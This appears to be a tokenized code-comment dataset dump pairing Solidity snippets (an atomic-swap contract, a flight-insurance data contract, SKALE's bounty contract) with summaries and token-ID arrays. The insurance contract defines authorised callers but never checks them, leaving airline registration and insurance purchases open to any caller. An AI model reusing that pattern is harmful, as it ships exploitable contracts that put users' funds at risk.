// Transfer fee to fee recipient
FEE_RECIPIENT.transfer(fee);
}
/**
@notice Batch execution of convertIntoHtlc() function
*/
function batchConvertIntoHtlc(
bytes32[] msigIds,
address[] beneficiaries,
uint[] amounts,
uint[] fees,
uint[] expirationTimes,
bytes32[] hashedSecrets
)
public
returns (bytes32[] swapId)
{
require(msigIds.length <= MAX_BATCH_ITERATIONS);
for (uint i = 0; i < msigIds.length; ++i)
convertIntoHtlc(
msigIds[i],
beneficiaries[i],
amounts[i],
fees[i],
expirationTimes[i],
hashedSecrets[i]
); // Gas estimate `infinite`
}
/**
@notice Withdraw ether and delete the htlc swap. Equivalent to REGULAR_TRANSFER in Nimiq
@dev Transfer swap amount to beneficiary of swap and fee to authority
@param swapId Unique (initiator, beneficiary, amount, fee, expirationTime, hashedSecret) swap identifier
@param secret Hashed secret of htlc swap
*/
function regularTransfer(bytes32 swapId, bytes32 secret)
public
{
// Require valid secret provided
require(sha256(secret) == atomicswaps[swapId].hashedSecret);
uint amount = atomicswaps[swapId].amount;
address beneficiary = atomicswaps[swapId].beneficiary;
// Delete swap
delete atomicswaps[swapId];
// Execute swap
beneficiary.transfer(amount);
}
/**
@notice Batch exection of regularTransfer() function
*/
function batchRegularTransfers(bytes32[] swapIds, bytes32[] secrets)
public
{
require(swapIds.length <= MAX_BATCH_ITERATIONS);
for (uint i = 0; i < swapIds.length; ++i)
regularTransfer(swapIds[i], secrets[i]); // Gas estimate `infinite`
}
/**
@notice Reclaim an expired, non-empty swap into a multisig
@dev Transfer swap amount to beneficiary of swap and fee to authority
@param msigId Unique (owner, authority, balance != 0) multisig identifier to which deposit expired swaps
@param swapId Unique (initiator, beneficiary, amount, fee, expirationTime, hashedSecret) swap identifier
*/
function reclaimExpiredSwap(bytes32 msigId, bytes32 swapId)
public
{
// Require: msg.sender == ower or authority
require(
multisigs[msigId].owner == msg.sender ||
multisigs[msigId].authority == msg.sender
);
// Require msigId matches swapId
require(msigId == atomicswaps[swapId].msigId);
// Require: is expired
require(now >= atomicswaps[swapId].expirationTime);
uint amount = atomicswaps[swapId].amount;
delete atomicswaps[swapId];
multisigs[msigId].deposit = add(multisigs[msigId].deposit, amount);
}
/**
@notice Batch exection of reclaimExpiredSwaps() function
*/
function batchReclaimExpiredSwaps(bytes32 msigId, bytes32[] swapIds)
public
{
require(swapIds.length <= MAX_BATCH_ITERATIONS); // << block.gaslimit / 88281
for (uint i = 0; i < swapIds.length; ++i)
reclaimExpiredSwap(msigId, swapIds[i]); // Gas estimate 88281
}
} | Checks for underflow
| require(multisigs[msigId].deposit >= amount + fee); | 5,492,791 | [
1,
4081,
364,
3613,
2426,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2583,
12,
23978,
360,
87,
63,
959,
360,
548,
8009,
323,
1724,
1545,
3844,
397,
14036,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/43114/0x8561c759D5c3f0777cd27961e9901B637C703347/sources/FeeDynamic.sol | hold >=10 to 59 $SPN
| uint256 public constant FARM_DYNAMIC_BALANCE_TIER1 = 10 * 10 ** 18; | 4,519,232 | [
1,
21056,
1545,
2163,
358,
14995,
271,
3118,
50,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
2254,
5034,
1071,
5381,
478,
26120,
67,
40,
25145,
67,
38,
1013,
4722,
67,
23240,
654,
21,
273,
1728,
380,
1728,
2826,
6549,
31,
1377,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.25;
import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract FlightSuretyData {
using SafeMath for uint256;
/********************************************************************************************/
/* DATA VARIABLES */
/********************************************************************************************/
bool private operational = true;
address private contractOwner; // Account used to deploy contract
// Flight status codes
uint8 private constant STATUS_CODE_UNKNOWN = 0;
uint8 private constant STATUS_CODE_ON_TIME = 10;
uint8 private constant STATUS_CODE_LATE_AIRLINE = 20;
uint8 private constant STATUS_CODE_LATE_WEATHER = 30;
uint8 private constant STATUS_CODE_LATE_TECHNICAL = 40;
uint8 private constant STATUS_CODE_LATE_OTHER = 50;
uint8 constant private CREDIT_MULTIPLIER = 15;
uint8 constant private CREDIT_DIVIDER = 10;
uint256 private constant MIN_INSURANCE_AMOUNT = 1 ether;
struct Flight {
bool isRegistered;
uint8 statusCode;
string flightName;
uint256 updatedTimestamp;
address airline;
}
struct Insurance {
address passenger;
uint256 amount;
}
mapping(bytes32 => Flight) private flights;
mapping(address => uint256) private airlines;
mapping(bytes32 => Insurance[]) private flightInsurances;
mapping(address => uint256) passengerInsurances;
mapping(address => bool) private authorisedCallers;
/********************************************************************************************/
/* EVENT DEFINITIONS */
/********************************************************************************************/
/**
* @dev Constructor
* The deploying account becomes contractOwner
*/
constructor(address airlineAddress) public {
contractOwner = msg.sender;
airlines[airlineAddress] = 1;
authorisedCallers[msg.sender] = true;
}
/********************************************************************************************/
/* FUNCTION MODIFIERS */
/********************************************************************************************/
// Modifiers help avoid duplication of code. They are typically used to validate something
// before a function is allowed to be executed.
/**
* @dev Modifier that requires the "operational" boolean variable to be "true"
* This is used on all state changing functions to pause the contract in
* the event there is an issue that needs to be fixed
*/
modifier requireIsOperational()
{
require(operational, "Contract is currently not operational");
_; // All modifiers require an "_" which indicates where the function body will be added
}
/**
* @dev Modifier that requires the "ContractOwner" account to be the function caller
*/
modifier requireContractOwner()
{
require(msg.sender == contractOwner, "Caller is not contract owner");
_;
}
modifier requireAirlineRegistered(address airline)
{
require(airlines[airline] == 1, "Airline is not registered");
_;
}
/********************************************************************************************/
/* UTILITY FUNCTIONS */
/********************************************************************************************/
/**
* @dev Get operating status of contract
*
* @return A bool that is the current operating status
*/
function isOperational() external view returns(bool)
{
return operational;
}
/**
* Add an authorised caller.
* Can only be called from FlightSuretyApp contract
*/
function authorizeCaller(address caller) external requireContractOwner {
authorisedCallers[caller] = true;
}
/**
* Disable authorised caller.
* Can only be called from FlightSuretyApp contract
*/
function deauthorizeCaller(address caller) external requireContractOwner {
authorisedCallers[caller] = false;
}
function isAirline(address airline) external view returns(bool) {
return airlines[airline] == 1;
}
function isLateFlight(uint8 statusCode) external pure returns(bool) {
return statusCode == STATUS_CODE_LATE_AIRLINE;
}
function owner() public view returns(address) {
return contractOwner;
}
function updateFlightStatus(address airline,
string memory flight,
uint256 timestamp,
uint8 statusCode)
requireAirlineRegistered(airline)
public {
bytes32 key = getFlightKey(airline, flight, timestamp);
require(flights[key].isRegistered, "Flight not registered");
require(flights[key].airline == airline, "Only flight owning airline can change a flights status");
flights[key].statusCode = statusCode;
flights[key].updatedTimestamp = timestamp;
}
function registerFlight(address airline, string flightName, uint256 timestamp) external requireIsOperational {
bytes32 flightKey = getFlightKey(airline, flightName, timestamp);
flights[flightKey].flightName = flightName;
flights[flightKey].airline = airline;
flights[flightKey].statusCode = STATUS_CODE_UNKNOWN;
flights[flightKey].updatedTimestamp = timestamp;
flights[flightKey].isRegistered = true;
}
/**
* @dev Sets contract operations on/off
*
* When operational mode is disabled, all write transactions except for this one will fail
*/
function setOperatingStatus
(
bool mode
)
external
requireContractOwner
{
operational = mode;
}
/********************************************************************************************/
/* SMART CONTRACT FUNCTIONS */
/********************************************************************************************/
/**
* @dev Add an airline to the registration queue
* Can only be called from FlightSuretyApp contract
*
*/
function registerAirline(address airline) external requireIsOperational
{
require(airline != address(0), "'airline' must be a valid address.");
airlines[airline] = 1;
}
/**
* @dev Buy insurance for a flight
*
*/
function buy(address passenger, uint256 amount, address airline, string flight) external payable requireIsOperational
{
bytes32 key = getInsuranceKey(airline, flight);
Insurance memory insurance = Insurance({ passenger: passenger, amount: amount });
flightInsurances[key].push(insurance);
}
/**
* @dev Credits payouts to insurees
*/
function creditInsurees(address airline, string flight) external payable requireIsOperational
{
bytes32 insuranceKey = getInsuranceKey(airline, flight);
Insurance[] memory passengersToPay = flightInsurances[insuranceKey];
for (uint ii=0; ii < passengersToPay.length; ii++) {
pay(passengersToPay[ii].passenger, passengersToPay[ii].amount);
}
delete flightInsurances[insuranceKey];
}
/**
* @dev Transfers eligible payout funds to insuree
*
*/
function pay(address passenger, uint256 amount) internal
{
require(amount > 0, "amount not valid for credit");
uint256 currentBalance = passengerInsurances[passenger];
uint256 toPay = amount.mul(CREDIT_MULTIPLIER).div(CREDIT_DIVIDER);
passengerInsurances[passenger] = currentBalance.add(toPay);
}
/**
* @dev Initial funding for the insurance. Unless there are too many delayed flights
* resulting in insurance payouts, the contract should be self-sustaining
*
*/
function fund(address passenger) external payable
{
uint256 transferAmount = passengerInsurances[passenger];
require(transferAmount > 0, "No withdrawable amount available");
passengerInsurances[passenger] = 0;
passenger.transfer(transferAmount);
}
function getFlightKey
(
address airline,
string memory flight,
uint256 timestamp
)
internal view requireIsOperational
returns(bytes32)
{
return keccak256(abi.encodePacked(airline, flight, timestamp));
}
function getInsuranceKey(address airline, string memory flight) internal view requireIsOperational returns(bytes32) {
return keccak256(abi.encodePacked(airline, flight));
}
function ()
payable
external
{
}
}
| * @dev Add an airline to the registration queue Can only be called from FlightSuretyApp contract/ | function registerAirline(address airline) external requireIsOperational
{
require(airline != address(0), "'airline' must be a valid address.");
airlines[airline] = 1;
}
| 2,551,541 | [
1,
986,
392,
23350,
1369,
358,
326,
7914,
2389,
1377,
4480,
1338,
506,
2566,
628,
3857,
750,
55,
594,
4098,
3371,
6835,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1744,
29752,
1369,
12,
2867,
23350,
1369,
13,
3903,
2583,
2520,
2988,
287,
203,
565,
288,
203,
3639,
2583,
12,
1826,
1369,
480,
1758,
12,
20,
3631,
2491,
1826,
1369,
11,
1297,
506,
279,
923,
1758,
1199,
1769,
203,
203,
3639,
23350,
3548,
63,
1826,
1369,
65,
273,
404,
31,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: AGPL-3.0-only
/*
Bounty.sol - SKALE Manager
Copyright (C) 2020-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "./delegation/DelegationController.sol";
import "./delegation/PartialDifferences.sol";
import "./delegation/TimeHelpers.sol";
import "./delegation/ValidatorService.sol";
import "./ConstantsHolder.sol";
import "./Nodes.sol";
import "./Permissions.sol";
contract BountyV2 is Permissions {
using PartialDifferences for PartialDifferences.Value;
using PartialDifferences for PartialDifferences.Sequence;
struct BountyHistory {
uint month;
uint bountyPaid;
}
uint public constant YEAR1_BOUNTY = 3850e5 * 1e18;
uint public constant YEAR2_BOUNTY = 3465e5 * 1e18;
uint public constant YEAR3_BOUNTY = 3080e5 * 1e18;
uint public constant YEAR4_BOUNTY = 2695e5 * 1e18;
uint public constant YEAR5_BOUNTY = 2310e5 * 1e18;
uint public constant YEAR6_BOUNTY = 1925e5 * 1e18;
uint public constant EPOCHS_PER_YEAR = 12;
uint public constant SECONDS_PER_DAY = 24 * 60 * 60;
uint public constant BOUNTY_WINDOW_SECONDS = 3 * SECONDS_PER_DAY;
uint private _nextEpoch;
uint private _epochPool;
uint private _bountyWasPaidInCurrentEpoch;
bool public bountyReduction;
uint public nodeCreationWindowSeconds;
PartialDifferences.Value private _effectiveDelegatedSum;
// validatorId amount of nodes
mapping (uint => uint) public nodesByValidator; // deprecated
// validatorId => BountyHistory
mapping (uint => BountyHistory) private _bountyHistory;
function calculateBounty(uint nodeIndex)
external
allow("SkaleManager")
returns (uint)
{
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers"));
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController")
);
require(
_getNextRewardTimestamp(nodeIndex, nodes, timeHelpers) <= now,
"Transaction is sent too early"
);
uint validatorId = nodes.getValidatorId(nodeIndex);
if (nodesByValidator[validatorId] > 0) {
delete nodesByValidator[validatorId];
}
uint currentMonth = timeHelpers.getCurrentMonth();
_refillEpochPool(currentMonth, timeHelpers, constantsHolder);
_prepareBountyHistory(validatorId, currentMonth);
uint bounty = _calculateMaximumBountyAmount(
_epochPool,
_effectiveDelegatedSum.getAndUpdateValue(currentMonth),
_bountyWasPaidInCurrentEpoch,
nodeIndex,
_bountyHistory[validatorId].bountyPaid,
delegationController.getAndUpdateEffectiveDelegatedToValidator(validatorId, currentMonth),
delegationController.getAndUpdateDelegatedToValidatorNow(validatorId),
constantsHolder,
nodes
);
_bountyHistory[validatorId].bountyPaid = _bountyHistory[validatorId].bountyPaid.add(bounty);
bounty = _reduceBounty(
bounty,
nodeIndex,
nodes,
constantsHolder
);
_epochPool = _epochPool.sub(bounty);
_bountyWasPaidInCurrentEpoch = _bountyWasPaidInCurrentEpoch.add(bounty);
return bounty;
}
function enableBountyReduction() external onlyOwner {
bountyReduction = true;
}
function disableBountyReduction() external onlyOwner {
bountyReduction = false;
}
function setNodeCreationWindowSeconds(uint window) external allow("Nodes") {
nodeCreationWindowSeconds = window;
}
function handleDelegationAdd(
uint amount,
uint month
)
external
allow("DelegationController")
{
_effectiveDelegatedSum.addToValue(amount, month);
}
function handleDelegationRemoving(
uint amount,
uint month
)
external
allow("DelegationController")
{
_effectiveDelegatedSum.subtractFromValue(amount, month);
}
function populate() external onlyOwner {
ValidatorService validatorService = ValidatorService(contractManager.getValidatorService());
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController")
);
TimeHelpers timeHelpers = TimeHelpers(contractManager.getTimeHelpers());
uint currentMonth = timeHelpers.getCurrentMonth();
// clean existing data
for (
uint i = _effectiveDelegatedSum.firstUnprocessedMonth;
i < _effectiveDelegatedSum.lastChangedMonth.add(1);
++i
)
{
delete _effectiveDelegatedSum.addDiff[i];
delete _effectiveDelegatedSum.subtractDiff[i];
}
delete _effectiveDelegatedSum.value;
delete _effectiveDelegatedSum.lastChangedMonth;
_effectiveDelegatedSum.firstUnprocessedMonth = currentMonth;
uint[] memory validators = validatorService.getTrustedValidators();
for (uint i = 0; i < validators.length; ++i) {
uint validatorId = validators[i];
uint currentEffectiveDelegated =
delegationController.getAndUpdateEffectiveDelegatedToValidator(validatorId, currentMonth);
uint[] memory effectiveDelegated = delegationController.getEffectiveDelegatedValuesByValidator(validatorId);
if (effectiveDelegated.length > 0) {
assert(currentEffectiveDelegated == effectiveDelegated[0]);
}
uint added = 0;
for (uint j = 0; j < effectiveDelegated.length; ++j) {
if (effectiveDelegated[j] != added) {
if (effectiveDelegated[j] > added) {
_effectiveDelegatedSum.addToValue(effectiveDelegated[j].sub(added), currentMonth + j);
} else {
_effectiveDelegatedSum.subtractFromValue(added.sub(effectiveDelegated[j]), currentMonth + j);
}
added = effectiveDelegated[j];
}
}
delete effectiveDelegated;
}
}
function estimateBounty(uint nodeIndex) external view returns (uint) {
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers"));
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController")
);
uint currentMonth = timeHelpers.getCurrentMonth();
uint validatorId = nodes.getValidatorId(nodeIndex);
uint stagePoolSize;
(stagePoolSize, ) = _getEpochPool(currentMonth, timeHelpers, constantsHolder);
return _calculateMaximumBountyAmount(
stagePoolSize,
_effectiveDelegatedSum.getValue(currentMonth),
_nextEpoch == currentMonth.add(1) ? _bountyWasPaidInCurrentEpoch : 0,
nodeIndex,
_getBountyPaid(validatorId, currentMonth),
delegationController.getEffectiveDelegatedToValidator(validatorId, currentMonth),
delegationController.getDelegatedToValidator(validatorId, currentMonth),
constantsHolder,
nodes
);
}
function getNextRewardTimestamp(uint nodeIndex) external view returns (uint) {
return _getNextRewardTimestamp(
nodeIndex,
Nodes(contractManager.getContract("Nodes")),
TimeHelpers(contractManager.getContract("TimeHelpers"))
);
}
function getEffectiveDelegatedSum() external view returns (uint[] memory) {
return _effectiveDelegatedSum.getValues();
}
function initialize(address contractManagerAddress) public override initializer {
Permissions.initialize(contractManagerAddress);
_nextEpoch = 0;
_epochPool = 0;
_bountyWasPaidInCurrentEpoch = 0;
bountyReduction = false;
nodeCreationWindowSeconds = 3 * SECONDS_PER_DAY;
}
// private
function _calculateMaximumBountyAmount(
uint epochPoolSize,
uint effectiveDelegatedSum,
uint bountyWasPaidInCurrentEpoch,
uint nodeIndex,
uint bountyPaidToTheValidator,
uint effectiveDelegated,
uint delegated,
ConstantsHolder constantsHolder,
Nodes nodes
)
private
view
returns (uint)
{
if (nodes.isNodeLeft(nodeIndex)) {
return 0;
}
if (now < constantsHolder.launchTimestamp()) {
// network is not launched
// bounty is turned off
return 0;
}
if (effectiveDelegatedSum == 0) {
// no delegations in the system
return 0;
}
if (constantsHolder.msr() == 0) {
return 0;
}
uint bounty = _calculateBountyShare(
epochPoolSize.add(bountyWasPaidInCurrentEpoch),
effectiveDelegated,
effectiveDelegatedSum,
delegated.div(constantsHolder.msr()),
bountyPaidToTheValidator
);
return bounty;
}
function _calculateBountyShare(
uint monthBounty,
uint effectiveDelegated,
uint effectiveDelegatedSum,
uint maxNodesAmount,
uint paidToValidator
)
private
pure
returns (uint)
{
if (maxNodesAmount > 0) {
uint totalBountyShare = monthBounty
.mul(effectiveDelegated)
.div(effectiveDelegatedSum);
return _min(
totalBountyShare.div(maxNodesAmount),
totalBountyShare.sub(paidToValidator)
);
} else {
return 0;
}
}
function _getFirstEpoch(TimeHelpers timeHelpers, ConstantsHolder constantsHolder) private view returns (uint) {
return timeHelpers.timestampToMonth(constantsHolder.launchTimestamp());
}
function _getEpochPool(
uint currentMonth,
TimeHelpers timeHelpers,
ConstantsHolder constantsHolder
)
private
view
returns (uint epochPool, uint nextEpoch)
{
epochPool = _epochPool;
for (nextEpoch = _nextEpoch; nextEpoch <= currentMonth; ++nextEpoch) {
epochPool = epochPool.add(_getEpochReward(nextEpoch, timeHelpers, constantsHolder));
}
}
function _refillEpochPool(uint currentMonth, TimeHelpers timeHelpers, ConstantsHolder constantsHolder) private {
uint epochPool;
uint nextEpoch;
(epochPool, nextEpoch) = _getEpochPool(currentMonth, timeHelpers, constantsHolder);
if (_nextEpoch < nextEpoch) {
(_epochPool, _nextEpoch) = (epochPool, nextEpoch);
_bountyWasPaidInCurrentEpoch = 0;
}
}
function _getEpochReward(
uint epoch,
TimeHelpers timeHelpers,
ConstantsHolder constantsHolder
)
private
view
returns (uint)
{
uint firstEpoch = _getFirstEpoch(timeHelpers, constantsHolder);
if (epoch < firstEpoch) {
return 0;
}
uint epochIndex = epoch.sub(firstEpoch);
uint year = epochIndex.div(EPOCHS_PER_YEAR);
if (year >= 6) {
uint power = year.sub(6).div(3).add(1);
if (power < 256) {
return YEAR6_BOUNTY.div(2 ** power).div(EPOCHS_PER_YEAR);
} else {
return 0;
}
} else {
uint[6] memory customBounties = [
YEAR1_BOUNTY,
YEAR2_BOUNTY,
YEAR3_BOUNTY,
YEAR4_BOUNTY,
YEAR5_BOUNTY,
YEAR6_BOUNTY
];
